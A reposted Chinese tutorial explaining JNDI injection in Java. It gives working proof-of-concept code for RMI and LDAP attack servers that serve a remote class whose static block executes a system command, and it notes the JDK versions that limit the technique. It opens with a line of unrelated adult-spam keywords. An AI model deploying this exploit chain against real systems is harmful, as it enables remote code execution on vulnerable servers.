欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Java之JNDI注入的實(shí)現(xiàn)

 更新時(shí)間:2021年11月11日 09:21:46   作者:CoLoo  
JNDI是Java EE的重要部分,本文主要介紹了Java之JNDI注入的實(shí)現(xiàn),文中通過(guò)示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下

About JNDI

0x01 簡(jiǎn)介

JNDI(Java Naming and Directory Interface)是SUN公司提供的一種標(biāo)準(zhǔn)的Java命名系統(tǒng)接口,JNDI提供統(tǒng)一的客戶端API,通過(guò)不同的訪問(wèn)提供者接口JNDI服務(wù)供應(yīng)接口(SPI)的實(shí)現(xiàn),由管理者將JNDI API映射為特定的命名服務(wù)和目錄系統(tǒng),使得Java應(yīng)用程序可以和這些命名服務(wù)和目錄服務(wù)之間進(jìn)行交互。目錄服務(wù)是命名服務(wù)的一種自然擴(kuò)展。通過(guò)調(diào)用JNDIAPI應(yīng)用程序可以定位資源和其他程序?qū)ο蟆?code>JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 數(shù)據(jù)源),JNDI可訪問(wèn)的現(xiàn)有的目錄及服務(wù)有:DNS、XNam 、Novell目錄服務(wù)、LDAP(Lightweight Directory Access Protocol輕型目錄訪問(wèn)協(xié)議)、 CORBA對(duì)象服務(wù)、文件系統(tǒng)、Windows XP/2000/NT/Me/9x的注冊(cè)表、RMI、DSML v1&v2、NIS。

0x02 JNDI的用途

JNDI(Java Naming and Directory Interface)是一個(gè)應(yīng)用程序設(shè)計(jì)的API,為開(kāi)發(fā)人員提供了查找和訪問(wèn)各種命名和目錄服務(wù)的通用、統(tǒng)一的接口,類似JDBC都是構(gòu)建在抽象層上?,F(xiàn)在JNDI已經(jīng)成為J2EE的標(biāo)準(zhǔn)之一,所有的J2EE容器都必須提供一個(gè)JNDI的服務(wù)。

0x03 日常使用

其實(shí)簡(jiǎn)單看簡(jiǎn)介會(huì)有點(diǎn)感覺(jué)JNDI類似于RMI中的Registry,將其中某一命名服務(wù)和相應(yīng)對(duì)象進(jìn)行綁定,當(dāng)需要調(diào)用這個(gè)對(duì)象中的方法時(shí),通過(guò)將指定的名稱作為參數(shù)帶入lookup去尋找相應(yīng)對(duì)象。比如在開(kāi)發(fā)中經(jīng)常用到其去加載實(shí)現(xiàn)動(dòng)態(tài)加載數(shù)據(jù)庫(kù)配置文件,而不用頻繁修改代碼。

平常使用JNDI注入攻擊時(shí)常用的就是RMI和LDAP。并且關(guān)于這兩種協(xié)議的使用還有些限制,這也會(huì)在本文后面提到。

0x04 JNDI命名和目錄服務(wù)

Naming Service 命名服務(wù):

命名服務(wù)將名稱和對(duì)象進(jìn)行關(guān)聯(lián),提供通過(guò)名稱找到對(duì)象的操作,例如:DNS系統(tǒng)將計(jì)算機(jī)名和IP地址進(jìn)行關(guān)聯(lián)、文件系統(tǒng)將文件名和文件句柄進(jìn)行關(guān)聯(lián)等等。

Directory Service 目錄服務(wù):

目錄服務(wù)是命名服務(wù)的擴(kuò)展,除了提供名稱和對(duì)象的關(guān)聯(lián),還允許對(duì)象具有屬性。目錄服務(wù)中的對(duì)象稱之為目錄對(duì)象。目錄服務(wù)提供創(chuàng)建、添加、刪除目錄對(duì)象以及修改目錄對(duì)象屬性等操作。

Reference 引用:

在一些命名服務(wù)系統(tǒng)中,系統(tǒng)并不是直接將對(duì)象存儲(chǔ)在系統(tǒng)中,而是保持對(duì)象的引用。引用包含了如何訪問(wèn)實(shí)際對(duì)象的信息。

這個(gè)點(diǎn)用到的也比較多,下面會(huì)詳細(xì)講。

前置知識(shí)

主要是一些常用類和常見(jiàn)方法的小結(jié),copy自nice_0e3師傅文章

InitialContext類

構(gòu)造方法:

InitialContext() 
構(gòu)建一個(gè)初始上下文。  
InitialContext(boolean lazy) 
構(gòu)造一個(gè)初始上下文,并選擇不初始化它。  
InitialContext(Hashtable<?,?> environment) 
使用提供的環(huán)境構(gòu)建初始上下文。 
InitialContext initialContext = new InitialContext();

在這JDK里面給的解釋是構(gòu)建初始上下文,其實(shí)通俗點(diǎn)來(lái)講就是獲取初始目錄環(huán)境。

常用方法:

bind(Name name, Object obj) 
	將名稱綁定到對(duì)象。 
list(String name) 
	枚舉在命名上下文中綁定的名稱以及綁定到它們的對(duì)象的類名。
lookup(String name) 
	檢索命名對(duì)象。 
rebind(String name, Object obj) 
	將名稱綁定到對(duì)象,覆蓋任何現(xiàn)有綁定。 
unbind(String name) 
	取消綁定命名對(duì)象。 

Reference類

該類也是在javax.naming的一個(gè)類,該類表示對(duì)在命名/目錄系統(tǒng)外部找到的對(duì)象的引用。提供了JNDI中類的引用功能。

構(gòu)造方法:

Reference(String className)
為類名為“className”的對(duì)象構(gòu)造一個(gè)新的引用。
Reference(String className, RefAddr addr)
為類名為“className”的對(duì)象和地址構(gòu)造一個(gè)新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
為類名為“className”的對(duì)象,對(duì)象工廠的類名和位置以及對(duì)象的地址構(gòu)造一個(gè)新引用。
Reference(String className, String factory, String factoryLocation)
為類名為“className”的對(duì)象以及對(duì)象工廠的類名和位置構(gòu)造一個(gè)新引用。

代碼:

 String url = "http://127.0.0.1:8080";
        Reference reference = new Reference("test", "test", url);

參數(shù)1:className - 遠(yuǎn)程加載時(shí)所使用的類名

參數(shù)2:classFactory - 加載的class中需要實(shí)例化類的名稱

參數(shù)3:classFactoryLocation - 提供classes數(shù)據(jù)的地址可以是file/ftp/http協(xié)議

常用方法:

void add(int posn, RefAddr addr) 
	將地址添加到索引posn的地址列表中。  
void add(RefAddr addr) 
	將地址添加到地址列表的末尾。  
void clear() 
	從此引用中刪除所有地址。  
RefAddr get(int posn) 
	檢索索引posn上的地址。  
RefAddr get(String addrType) 
	檢索地址類型為“addrType”的第一個(gè)地址。  
Enumeration<RefAddr> getAll() 
	檢索本參考文獻(xiàn)中地址的列舉。  
String getClassName() 
	檢索引用引用的對(duì)象的類名。  
String getFactoryClassLocation() 
	檢索此引用引用的對(duì)象的工廠位置。  
String getFactoryClassName() 
	檢索此引用引用對(duì)象的工廠的類名。    
Object remove(int posn) 
	從地址列表中刪除索引posn上的地址。  
int size() 
	檢索此引用中的地址數(shù)。  
String toString() 
	生成此引用的字符串表示形式。  

JNDI Demo

下面看一段代碼,是一段易受JNDI注入攻擊的demo

主要是調(diào)用的lookup方法中url參數(shù)可控,那么可能會(huì)導(dǎo)致JNDI注入漏洞的產(chǎn)生。

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIDemo {
    
    public void Jndi(String url) throws NamingException {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

JNDI+RMI攻擊手法

限制條件:

RMI服務(wù)中引用遠(yuǎn)程對(duì)象將受本地Java環(huán)境限制即本地的java.rmi.server.useCodebaseOnly配置必須為false(允許加載遠(yuǎn)程對(duì)象),如果該值為true則禁止引用遠(yuǎn)程對(duì)象。除此之外被引用的ObjectFactory對(duì)象還將受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果該值為false(不信任遠(yuǎn)程引用對(duì)象)一樣無(wú)法調(diào)用遠(yuǎn)程的引用對(duì)象。

  • JDK 5U45,JDK 6U45,JDK 7u21,JDK 8u121開(kāi)始java.rmi.server.useCodebaseOnly默認(rèn)配置已經(jīng)改為了true。
  • JDK 6u132, JDK 7u122, JDK 8u113開(kāi)始com.sun.jndi.rmi.object.trustURLCodebase默認(rèn)值已改為了false。

本地測(cè)試遠(yuǎn)程對(duì)象引用可以使用如下方式允許加載遠(yuǎn)程的引用對(duì)象:

System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

JNDIServer

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIServer {
    public static void main(String[] args) throws NamingException {
        String url = "rmi://127.0.0.1:1099/ExportObject";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);

    }
}

JNDIExploitServer

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;

public class JNDIExploitServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        //創(chuàng)建Registry
        Registry registry = LocateRegistry.createRegistry(1099);

        String url = "http://127.0.0.1:8080/";
        // 實(shí)例化一個(gè)Reference嘗試為遠(yuǎn)程對(duì)象構(gòu)造一個(gè)引用
        Reference reference = new Reference("ExploitObject", "ExploitObject", url);
        // 強(qiáng)轉(zhuǎn)成ReferenceWrapper,因?yàn)镽eference并沒(méi)有繼承Remote接口,不能直接注冊(cè)到Registry中
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

        registry.bind("ExportObject", referenceWrapper);
        System.out.println("Registry&Server Start ...");
        //打印別名
        System.out.println("Registry List: " + Arrays.toString(registry.list()));
    }
}

ExploitObject

public class ExploitObject {
    static {
        try {

            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        System.out.println("Calc Running ...");
    }
}

先啟動(dòng)惡意的JNDIExploitServer,然后運(yùn)行JNDIServer,當(dāng)調(diào)用initialContext.lookup(url)方法時(shí),會(huì)通過(guò)rmi協(xié)議尋找ExportObject對(duì)應(yīng)的對(duì)象referenceWrapper,而referenceWrapper為遠(yuǎn)程對(duì)象ExploitObject的引用,所以最終實(shí)例化的是ExploitObject從而觸發(fā)靜態(tài)代碼塊執(zhí)行達(dá)到任意代碼執(zhí)行的目的。

在此期間遇到了幾個(gè)坑點(diǎn),記錄一下:

  • JDK的限制,測(cè)試環(huán)境延用了RMI時(shí)的JDK7u17
  • 在編譯ExploitObject類時(shí)使用的javac版本最好和idea中測(cè)試環(huán)境版本一致,可以通過(guò)cmdl指定jdk版本的javac去編譯;且生成的class文件不要帶有包名(例如:package com.zh1z3ven.jndi),指定版本javac編譯命令:/Library/Java/JavaVirtualMachines/jdk1.7.0_17.jdk/Contents/Home/bin/javac ./main/java/com/zh1z3ven/jndi/ExploitObject.java

JNDI+LDAP攻擊手法

這里的限制是在8u191之前

copy一段LDAP的Server端代碼

LdapServer

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


public class LdapServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"http://127.0.0.1:8080/#ExploitObject"};
        int port = 7777;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

JNDIServer2

public class JNDIServer2 {
    public static void main(String[] args) throws NamingException {
        String url = "ldap://127.0.0.1:7777/ExploitObject";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);

    }
}

ExploitObject

public class ExploitObject {
    static {
        try {

            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        System.out.println("Calc Running ...");
    }
}

Reference

如何繞過(guò)高版本 JDK 的限制進(jìn)行 JNDI 注入利用:https://paper.seebug.org/942/

javasec

https://www.cnblogs.com/nice0e3/p/13958047.html

https://www.veracode.com/blog/research/exploiting-jndi-injections-java

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

https://paper.seebug.org/1091/

https://security.tencent.com/index.php/blog/msg/131

https://paper.seebug.org/1207/

到此這篇關(guān)于Java之JNDI注入的實(shí)現(xiàn)的文章就介紹到這了,更多相關(guān)Java JNDI注入內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • git stash 和unstash的使用操作,git unstash failed

    git stash 和unstash的使用操作,git unstash failed

    這篇文章主要介紹了git stash 和unstash的使用操作,git unstash failed,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧
    2021-02-02
  • 使用注解+RequestBodyAdvice實(shí)現(xiàn)http請(qǐng)求內(nèi)容加解密方式

    使用注解+RequestBodyAdvice實(shí)現(xiàn)http請(qǐng)求內(nèi)容加解密方式

    這篇文章主要介紹了使用注解+RequestBodyAdvice實(shí)現(xiàn)http請(qǐng)求內(nèi)容加解密方式,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2021-06-06
  • Java子類對(duì)象的實(shí)例化過(guò)程分析

    Java子類對(duì)象的實(shí)例化過(guò)程分析

    這篇文章主要介紹了Java子類對(duì)象的實(shí)例化過(guò)程,結(jié)合具體實(shí)例形式分析了java子類對(duì)象的實(shí)例化的步驟、原理、實(shí)現(xiàn)方法,需要的朋友可以參考下
    2019-09-09
  • 實(shí)例詳解Spring Boot實(shí)戰(zhàn)之Redis緩存登錄驗(yàn)證碼

    實(shí)例詳解Spring Boot實(shí)戰(zhàn)之Redis緩存登錄驗(yàn)證碼

    本章簡(jiǎn)單介紹redis的配置及使用方法,本文示例代碼在前面代碼的基礎(chǔ)上進(jìn)行修改添加,實(shí)現(xiàn)了使用redis進(jìn)行緩存驗(yàn)證碼,以及校驗(yàn)驗(yàn)證碼的過(guò)程。感興趣的的朋友一起看看吧
    2017-08-08
  • 使用mybatis-plus-generator進(jìn)行代碼自動(dòng)生成的方法

    使用mybatis-plus-generator進(jìn)行代碼自動(dòng)生成的方法

    這篇文章主要介紹了使用mybatis-plus-generator進(jìn)行代碼自動(dòng)生成的方法,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2020-06-06
  • Java事務(wù)的個(gè)人理解小結(jié)

    Java事務(wù)的個(gè)人理解小結(jié)

    數(shù)據(jù)庫(kù)操作的事務(wù)習(xí)慣上就稱為Java事務(wù)
    2013-03-03
  • Java字節(jié)緩存流的構(gòu)造方法之文件IO流

    Java字節(jié)緩存流的構(gòu)造方法之文件IO流

    這篇文章主要介紹了Java字節(jié)緩存流的構(gòu)造方法之文件IO流,同時(shí)也介紹了字符流中的一些相關(guān)的內(nèi)容,并且通過(guò)大量的案例供大家理解。最后通過(guò)一些經(jīng)典的案例幫助大家對(duì)前面所學(xué)的知識(shí)做了一個(gè)綜合的應(yīng)用,需要的朋友可以參考一下
    2022-04-04
  • Spring Boot Feign服務(wù)調(diào)用之間帶token問(wèn)題

    Spring Boot Feign服務(wù)調(diào)用之間帶token問(wèn)題

    這篇文章主要介紹了Spring Boot Feign服務(wù)調(diào)用之間帶token的操作,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2021-09-09
  • SpringBoot從繁至簡(jiǎn)的框架基礎(chǔ)教程

    SpringBoot從繁至簡(jiǎn)的框架基礎(chǔ)教程

    Spring Boot是由Pivotal團(tuán)隊(duì)提供的全新框架,其設(shè)計(jì)目的是用來(lái)簡(jiǎn)化新Spring應(yīng)用的初始搭建以及開(kāi)發(fā)過(guò)程。該框架使用了特定的方式來(lái)進(jìn)行配置,從而使開(kāi)發(fā)人員不再需要定義樣板化的配置
    2022-10-10
  • 基于IDEA建立module操作步驟解析

    基于IDEA建立module操作步驟解析

    這篇文章主要介紹了基于IDEA建立module操作步驟解析,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-09-09

最新評(píng)論